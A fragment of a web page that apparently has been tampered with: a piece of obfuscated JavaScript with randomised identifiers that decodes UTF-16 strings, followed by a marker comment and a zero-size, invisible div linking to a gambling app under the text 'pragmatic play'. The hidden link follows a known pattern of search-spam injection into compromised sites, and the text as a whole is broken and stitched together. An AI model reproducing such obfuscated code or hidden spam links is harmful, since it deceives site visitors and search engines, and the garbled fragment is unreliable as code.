0x0);while(IMJjms<f9cKAlm){h5HZ2X(WDb_wlm=YxGpSl.charCodeAt(IMJjms++),WDb_wlm>=Ji8kSQ[0x15]&&WDb_wlm<=0xdbff&&IMJjms<f9cKAlm?(mMpJYT1=YxGpSl.charCodeAt(IMJjms++),(mMpJYT1&0xfc00)==Ji8kSQ[0x16]?rlfF9TI.push(((WDb_wlm&Ji8kSQ[0x12])<<Ji8kSQ[0x14])+(mMpJYT1&Ji8kSQ[0x12])+Ji8kSQ[0x13]):(rlfF9TI.push(WDb_wlm),IMJjms--)):rlfF9TI.push(WDb_wlm))}return rlfF9TI}function WdMJPz8(YxGpSl){var IMJjms=YxGpSl.length,f9cKAlm,WDb_wlm,mMpJYT1;h5HZ2X(f9cKAlm=-Ji8kSQ[0x1],WDb_wlm=void 0x0,mMpJYT1="");while(++f9cKAlm<IMJjms){WDb_wlm=YxGpSl[f9cKAlm];if(WDb_wlm>0xffff){h5HZ2X(WDb_wlm-=Ji8kSQ[0x13],mMpJYT1+=rlfF9TI(WDb_wlm>>>Ji8kSQ[0x14]&Ji8kSQ[0x12]|Ji8kSQ[0x15]),WDb_wlm=Ji8kSQ[0x16]|WDb_wlm&Ji8kSQ[0x12])}mMpJYT1+=rlfF9TI(WDb_wlm)}return mMpJYT1}function ORfu5j(YxGpSl){if(YxGpSl>=Ji8kSQ[0x15]&&YxGpSl<=0xdfff){function rlfF9TI(YxGpSl){var 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<!-- sc5a72ec-b66d1b -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
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